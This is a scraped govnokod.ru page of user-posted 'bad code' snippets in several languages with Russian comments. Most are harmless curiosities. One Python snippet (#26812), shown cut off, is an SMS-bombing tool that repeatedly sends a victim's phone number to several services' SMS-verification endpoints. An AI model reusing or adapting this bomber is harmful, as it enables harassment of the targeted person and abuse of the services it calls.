1. Лучший говнокод

    В номинации:
    За время:
  2. Pascal / Говнокод #3124

    +101

    1. 1
    2. 2
    3. 3
    if IntToStr(n) = '2' then begin
      ///  Еще куча говнокода
    end;

    Устроился я тут работать в одну компанию... Начинаю серию публикаций... Название компании пока не буду озвучивать - еще уволят нах...
    Начнём с чего-нибудь простенького :)

    goodron, 28 Апреля 2010

    Комментарии (56)
  3. PHP / Говнокод #2098

    +160.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    <?php
     $form = new Validator;
     $form
         ->newString(Request::get('nickname'));
         ->addRules(
             new FW\Rules\NotEmpty(),
             new FW\Rules\Length(4, 16),
             new FW\Rules\RegExp('/^[a-z]+$/i')
         );
         ->newString(Request::get('password'))
         ->addRules(
             new FW\Rules\NotEmpty(),
             new FW\Rules\MinLength(3),
             new App\Rules\PasswordStrength(40)
         );
         ->newString(Request::get('confirm'))
         ->addRules(
             new FW\Rules\NotEmpty(),
             new FW\Rules\Equals(Request::get('password'))
         )
         ->newString(Request::get('email'))
         ->addRules(
             new FW\Rules\NotEmpty(),
             new FW\Rules\ValidEmail(Request::get('email'))
         );
     if ($form->isValid()) {
         reg_user(Request::get('nickname'), Request::get('password'), Request::get('email'));
     } else {
         print_r($form->getErrors());
     }

    Народ ёбнулся на ООП

    Mitusbka, 04 Ноября 2009

    Комментарии (56)
  4. JavaScript / Говнокод #28785

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    if (this.$arg0 == 'inc')    this.$ret = this.$math = args[0] + 1;
            if (this.$arg0 == 'dec')    this.$ret = this.$math = args[0] - 1;
            if (this.$arg0 == 'div')    this.$ret = this.$math = args[0] / args[1];
            if (this.$arg0 == 'ceil')   this.$ret = this.$math = Math.ceil(args[0]);
            if (this.$arg0 == 'floor')  this.$ret = this.$math = Math.floor(args[0]);
            if (this.$arg0 == 'sqrt')   this.$ret = this.$math = Math.sqrt(args[0]);
            if (this.$arg0 == 'exp')    this.$ret = this.$math = Math.exp(args[0]);
            if (this.$arg0 == 'log')    this.$ret = this.$math = Math.log(args[0]);
            if (this.$arg0 == 'sin')    this.$ret = this.$math = Math.sign(args[0]);
            if (this.$arg0 == 'log10')  this.$ret = this.$math = Math.log10(args[0]);
            if (this.$arg0 == 'cos')    this.$ret = this.$math = Math.cos(args[0]);
            if (this.$arg0 == 'tan')    this.$ret = this.$math = Math.tan(args[0]);
            if (this.$arg0 == 'acos')   this.$ret = this.$math = Math.acos(args[0]);
            if (this.$arg0 == 'atan')   this.$ret = this.$math = Math.atan(args[0]);
            if (this.$arg0 == 'round')  this.$ret = this.$math = Math.round(args[0]);
            if (this.$arg0 == 'atan2')  this.$ret = this.$math = Math.atan2(args[0]);

    Исходный код интерпретатора компилятора (!) Языка Программирования «AsmX».
    https://github.com/langprogramming-AsmX/AsmX/blob/main/compiler.js#L215

    ISO, 19 Мая 2023

    Комментарии (55)
  5. Си / Говнокод #28309

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    #include <stdio.h>
    #include <string.h>
    #include <inttypes.h>
    
    void swap(uint8_t *x, uint8_t *y)
    {
        uint8_t tmp;
        tmp = *x;
        *x = *y;
        *y = tmp;
    }
    
    // эту хуйню тоже можно нагенерировать
    uint64_t cmp_bits(uint8_t a[restrict 9])
    {
      return 
      ((uint64_t)(a[0] < a[1]) << 0) |
      ((uint64_t)(a[0] < a[2]) << 1) |
      ((uint64_t)(a[0] < a[3]) << 2) |
      ((uint64_t)(a[0] < a[4]) << 3) |
      ((uint64_t)(a[0] < a[5]) << 4) |
      ((uint64_t)(a[0] < a[6]) << 5) |
      ((uint64_t)(a[0] < a[7]) << 6) |
      ((uint64_t)(a[0] < a[8]) << 7) |
    
      ((uint64_t)(a[1] < a[2]) << 8)  |
      ((uint64_t)(a[1] < a[3]) << 9)  |
      ((uint64_t)(a[1] < a[4]) << 10) |
      ((uint64_t)(a[1] < a[5]) << 11) |
      ((uint64_t)(a[1] < a[6]) << 12) |
      ((uint64_t)(a[1] < a[7]) << 13) |
      ((uint64_t)(a[1] < a[8]) << 14) |
    
      ((uint64_t)(a[2] < a[3]) << 15) |
      ((uint64_t)(a[2] < a[4]) << 16) |
      ((uint64_t)(a[2] < a[5]) << 17) |
      ((uint64_t)(a[2] < a[6]) << 18) |
      ((uint64_t)(a[2] < a[7]) << 19) |
      ((uint64_t)(a[2] < a[8]) << 20) |
    
      ((uint64_t)(a[3] < a[4]) << 21) |
      ((uint64_t)(a[3] < a[5]) << 22) |
      ((uint64_t)(a[3] < a[6]) << 23) |
      ((uint64_t)(a[3] < a[7]) << 24) |
      ((uint64_t)(a[3] < a[8]) << 25) |
    
      ((uint64_t)(a[4] < a[5]) << 26) |
      ((uint64_t)(a[4] < a[6]) << 27) |
      ((uint64_t)(a[4] < a[7]) << 28) |
      ((uint64_t)(a[4] < a[8]) << 29) |
    
      ((uint64_t)(a[5] < a[6]) << 30) |
      ((uint64_t)(a[5] < a[7]) << 31) |
      ((uint64_t)(a[5] < a[8]) << 32) |
    
      ((uint64_t)(a[6] < a[7]) << 33) |
      ((uint64_t)(a[6] < a[8]) << 34) |
    
      ((uint64_t)(a[7] < a[8]) << 35);
    }
    
    void printshit(uint8_t a[restrict 9])
    {
      size_t i = 0;
      while(*a != 4)
      {
        a++;
        i++;
      }
      printf("arr[%" PRIu64 "] = %zu\n", cmp_bits(a), i);
    }
    
    void permute(char *a, size_t l, size_t r)
    {
      size_t i;
      if (l == r)
        printshit(a);
      else
      {
        for (i = l; i <= r; i++)
        {
          swap((a+l), (a+i));
          permute(a, l+1, r);
          swap((a+l), (a+i));
        }
      }
    }
    
    int main()
    {
        uint8_t a[] = {0,1,2,3,4,5,6,7,8};
        size_t n = 9;
        permute(a, 0, n-1);
        return 0;
    }

    https://govnokod.ru/24496#comment782476

    Построение таблицы поиска для быстрого нахождения медианы. Там эту хуйню конечно можно улучшить, например запаковывать число от 0 до 8 в хуйни по 4 бита

    j123123, 31 Июля 2022

    Комментарии (55)
  6. bash / Говнокод #27263

    0

    1. 1
    2. 2
    ~ >>> ls -1 text.txt | xargs cat
    cat: ''$'\033''[0m'$'\033''[00;32mtext.txt'$'\033''[0m': No such file or directory

    Ну охуеть теперь.

    zsh c подстветкой синтаксиса бля.
    кастую СёмаРиал, объясни, что надо сделать с терминфо

    vistefan, 18 Февраля 2021

    Комментарии (55)
  7. C++ / Говнокод #27009

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    #include <iostream>
    using namespace std;
     
    struct Foo {char a; int b; char c;};
    struct Bar {char a; char b; int c;};
     
     
    int main() {
    	cout << sizeof(Foo) << endl;
    	cout << sizeof(Bar) << endl;
    }

    https://ideone.com/XKWey3

    Какой бароп )))

    3_dar, 08 Октября 2020

    Комментарии (55)
  8. Java / Говнокод #26825

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    System.out.println("\nNames in alphabetical order: ");
                 if(name1.compareTo(name2) > 0) {
                            if(name2.compareTo(name3) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name3,
                                                    name2,
                                                    name1); //cba 2
                            }
                            else if(name3.compareTo(name2) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name2,
                                                    name3,
                                                    name1); //bca 3
                            }
                    }
                    else if(name2.compareTo(name1) > 0) {
                            if(name1.compareTo(name3) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name3,
                                                    name1, 
                                                    name2); //cab 1
                            }
                            else if(name3.compareTo(name1) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name1,
                                                    name3,
                                                    name2); //acb 5
                            }
                    }//bac i abc
                    else if(name3.compareTo(name1) > 0) {
                            if(name1.compareTo(name2) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name2,
                                                    name1,
                                                    name3);
                            }
                            else if(name2.compareTo(name1) > 0) {
                                    System.out.printf("%s\n%s\n%s\n",
                                                    name1,
                                                    name2,
                                                    name3);
                            }
                    }

    Снова пытался отсортировать три строки по алфавиту.
    У меня опять получилась вместо нескольких строк простыня.
    Что со мной не так?
    Но, по крайней мере, она работает как надо.

    marincv, 29 Июля 2020

    Комментарии (55)
  9. Python / Говнокод #26812

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    #!/usr/bin/python3
    # spammer v3.0
    # author: cludeex
    import os, random, time, urllib
    try: import requests
    except: os.system("python -m pip install requests; spamer")
    def logo():
        os.system('cls' if os.name=='nt' else 'clear')
        print(clr.blt+clr.gn+"  ___ ___  _   __  __ __  __ ___ ___\n / __| _ \\/_\\ |  \\/  |  \\/  | __| _ \\\n \\__ \\  _/ _ \\| |\\/| | |\\/| | _||   /\n |___/_|/_/ \\_\\_|  |_|_|  |_|___|_|_\\"+"\n\n    SMS Bomber: github.com/cludeex\n"+clr.end)
    def update():
        up = input("Вы уверены, что хотите обновить? (y/n) ")
        if up == "y":
            os.system('cls' if os.name=='nt' else 'clear')
            os.system("cd && rm -rf ~/spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
            exit()
        else:
            print("Отменено")
            main(2)
    def main(t):
        time.sleep(t)
        logo()
        print("[1] СМС СПАМЕР\n[2] ОБНОВИТЬ СПАМЕР.\n[3] ВЫХОД.\n")
        input1 = input(clr.bl+clr.blt+"Введите номер пункта: "+clr.end)
        try:
            requests.get("http://google.com", verify=True)
        except:
            logo()
            print(clr.blt+clr.rd+"[!] Нет интернет соединения."+clr.end)
            main(2)
        if input1 == "1":
            logo()
            _phone = input(clr.bl+clr.blt+"Введите номер: "+clr.end)
            if _phone == "":
               main(0)
            if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
                pass
            else:
                logo()
                print(clr.blt+clr.rd+"[!] Неправильный номер."+clr.end)
                main(2)
            if _phone[0] == "+":
                _phone = _phone[1:]
            if _phone[0] == "8":
                _phone = "7"+_phone[1:]
            if _phone[0] == "9":
                _phone = "7"+_phone
            _name = ""
            for x in range(12):
                _name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
            _phone9 = _phone[1:]
            _email = _name+"@gmail.com"
            email = _email
            logo()
            print("Телефон: "+clr.bl+clr.blt+_phone+clr.end+"\nСпамер запущен.\nЧтобы остановить спам - нажми Ctrl + Z")
            while True:
                if _phone[0] == "7":
                    try:
                        requests.post("https://moscow.rutaxi.ru/ajax_keycode.html", data={"l": _phone9}).json()["res"]
                    except:
                        pass
                    try:
                        requests.post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": _phone}, headers={})
                    except:
                        pass
                    try:
                        requests.post("https://app.karusel.ru/api/v1/phone/", data={"phone": _phone}, headers={})
                    except:
                        pass

    Мне друг сказал что мой код - говно. Что не так в нём?

    milkpro, 19 Июля 2020

    Комментарии (55)
  10. Python / Говнокод #26091

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    import random
    
    UPCHK = ["СЕМ", "ОДИН", "БЛЭЦК", "ОЛОЛО", "БЖЫБЖА", "ЖУЧЛО", "ВЗДРЪЖНИ ЭФФЕКТ", "ВИДЕ", "ДВА МРЕОКЛЯ", "ДЕНИСЕ", "ДУПЯЧКА", "ГЛАГНЕ", "ГЛАНДЭ", "ГАЛАКТЕКО ОПАСНОСТЕ", "ЖАЖА", "ЕБИ ГУСЕЙ, СУКА!!11111", "ЖЕПЬ ЕБРИЛО", "ЖНЕЖНЕ", "ЖРАЧНЕ", "ПЯПЯЩЬ", "ЖЫВТОНЕ", "ЖУЙЧНИ", "ЖИВЛОБАРЕ", "ЖЪРЧИК", "ЗАРЯД УПЯЧКИ", "КЕЙГУШЕГИ", "КОЛЛАЙДРЕ", "КОТЭ", "КРАБЕ", "КРЕО", "ЛЕОНИДЕ", "ЛУЧИ ПОНОСА", "МЖВЯЧНИ", "ОНОТОЛЕ", "ПЯНИ", "ОТАКЕ!!!!1111", "ОЯЕБУ", "ПЕПЯКА", "ПЕПЯКОДЭНС", "ПЕПЯКОМЭН", "ПОПЯЧТСА", "ПОТС ЗОХВАЧЕН", "ПРДУНЬ-ПРДУНЬ", "ПТСО", "ПЫЩЬ!!!!111одинодин1", "РАЗУПЛОТНЕНИЕ", "РАЗРАЗИ МЕНЯ КРОТЫ", "РИАЛЬНИ", "САКИРМАХРЕПЯКА", "СКОЛОПЕНДРЕ", "СМОТРИ БАЛЕТ, СУКА!1", "СУЧЕЧКЕ", "С. Р. У!!!", "СТОПИЦОТ", "ТУПАК", "ТУТСЯ", "УГ", "ХУРЬ", "ХУЙС", "ЧАКЕ", "ЧОЧО", "ЧОЧОЧКИ", "ЧПЯКИ-ЧПЯКИ", "ШМЕЛЕ", "ЩАЧЛО КАРПА", "ЭЕКСТЕЛР ТЫЕОЙ ЯЕБАНЕЙУ КОТУ", "GSOM", "ЧЯПЬ-ЧЯПЬ", "ЪЖСЛО", "ЪЕЧОЖЖА", "ЪПРШУТЕ", "ЬШТУК", "ШТЫРНЕ", "ЯСХИЩАЧУ", "ГЪЛБЬ", "СГОМОНЬ", "JEPEBRILO", "АБЗЪДУКА", "АНГАНАСЕ", "АНТИКРАБЕРИАЛЬНЕ ЪМЛО", "БЖНИ", "БЖНИНА", "БЖНЬТУКИ", "БЛЪВАРИЯ", "БЪРЩЕ", "ВЪРДКЭ", "ГЖЪН’КИ", "ГАЗОДОРЫЖНИ", "ЖВЯЧНИ", "ЖРАЧНЕ", "ЖУЙЧНИ", "ЖЪРЧИК", "ЖЛЯЦНИ", "КВИТКИ ПИЖМЫ", "КРАКЛЕ", "МЕНСТО", "МРАЗЬ", "МУРА", "МЭБЛНИ", "НОКЛА", "ОГУДОРОПОМИРЕЦ", "ПДКЯЖЦЫ", "ПРЯСНО СВИНСКО", "ПЪДГРЪЗНИ", "ПЪРЖОЛИ", "ПЫЩИНЪ", "КВАСОЭ", "ПЯНИ", "РЪГАЕЛЛО", "СГУЩНИ МОЛОЛО", "СКЛИВЗЧНЕ МАСЛОЭ", "СТРИТ ФАЙТРЕ", "СЪРНЕ", "ТЪШНИК", "ХЛЯПНИ", "LЪЙS", "ЧИСПЫ", "ЧЯПИЙ", "ЩЯЩЬ-ЩЯЩЬ", "ШТЫРНЕ", "ЪТСО", "ЪПШРОТЭ", "ЫРЧНИ"]
    def upchka(u, sigma, words=100):
        res = []
        for word in [random.choice(UPCHK) for _ in range(words)]:
            res += [word for _ in range(max(abs(int(random.normalvariate(u, sigma))), 1))]
        return ' '.join(res)
    
    upchka(1, 3, 100)

    ЖЕПЬ ЕБРИЛО ЖЕПЬ ЕБРИЛО ЩАЧЛО КАРПА ПЫЩЬ!!!!111одинодин1

    gost, 11 Декабря 2019

    Комментарии (55)
  11. Си / Говнокод #26076

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    void sensor_init_regctl(void)
    
    {
      int iVar1;
      
                        /* Reading /rom/custom_setting_gm.ini
                           Setting I2CPortChange val from file */
      custom_setting_gm_get_I2C();
                        /* Checking for I2CPortChange in /rom/custom_setting_gm.ini
                           (default = 1) */
      iVar1 = GET_I2CPortChange_glob();
      if (iVar1 != 0) {system("rmmod gpioi2c"); usleep(50000);Regctl_main_function();system("insmod /npc/patch/gpioi2c2.ko");} return;}
    
    void Regctl_main_function(void)
    {
      uint uVar1; uVar1 = Regctl_set_ioctl5(0x90c00000,0x54);
      Regctl_set_2_dwWriteRegVal(-0x6f400000,0x54,uVar1 & 0xfffc3fff | 0x28000);
      return;
    }
    
    int Regctl_set_ioctl5(ulong param_1,ulong param_2)
    
    {
      int __fd;  int iVar1;  ulong local_20;  ulong uStack28;  int *local_10;  int iStack12;
    
      local_10 = &iStack12;
      local_20 = param_1;
      uStack28 = param_2;
      __fd = pl_open_file("/dev/regctl",2,"dwReadRegVal",0x1b);
      if (__fd == 0) {
        printf("%s: error:  open dev/misc/regctl  fail \n","dwReadRegVal");
      }
      else {
        iVar1 = ioctl(__fd,5,&local_20);
        if (iVar1 == -1) {
          printf("%s: error:  regctl ioctl fail \n","dwReadRegVal");
          pl_close_file(__fd,"dwReadRegVal",0x26);
          __fd = 0;
        }
        else {
          pl_close_file(__fd,"dwReadRegVal",0x2a);
          __fd = *local_10;
        }
      }
      return __fd;
    }
    int Regctl_set_2_dwWriteRegVal(int param_1,int param_2,int param_3)
    
    {
      int __fd; int iVar1; int local_24 [2];int local_1c; int local_18;int *local_c; local_c = local_24; local_24[0] = param_3;  local_1c = param_1; local_18 = param_2;
      __fd = pl_open_file("/dev/regctl",2,"dwWriteRegVal",0x3c);
      if (__fd == 0) {
        printf("%s: error:  open dev/misc/regctl  fail \n","dwWriteRegVal");
      }
      else {
        iVar1 = ioctl(__fd,1,&local_1c);
        if (iVar1 == -1) {
          printf("%s: error:  regctl ioctl fail \n","dwWriteRegVal");
          pl_close_file(__fd,"dwWriteRegVal",0x49);
          __fd = 0;
        }
        else {
          pl_close_file(__fd,"dwWriteRegVal",0x4d);
          __fd = 1;
        }
      }
      return __fd;
    }

    Помогите разреверсить код из прошивки камеры Rubetek RV-3414 (основана на SoC GrainMedia GM8136). Это код из Ghidra. Интересует функция Regctl_main_function.

    dump из strace:
    open("/dev/regctl", O_RDWR) = 3 <0.000901>
    ioctl(3, _IOC(_IOC_NONE, 0, 0x5, 0), 0x7eee2c18) = 0 <0.000308>
    close(3) = 0 <0.000256>
    open("/dev/regctl", O_RDWR) = 3 <0.000422>
    ioctl(3, FIBMAP, 0x7eee2c1c) = 0 <0.000105>
    close(3)

    local_20 и uStack28 - это struct?

    a0a1, 10 Декабря 2019

    Комментарии (55)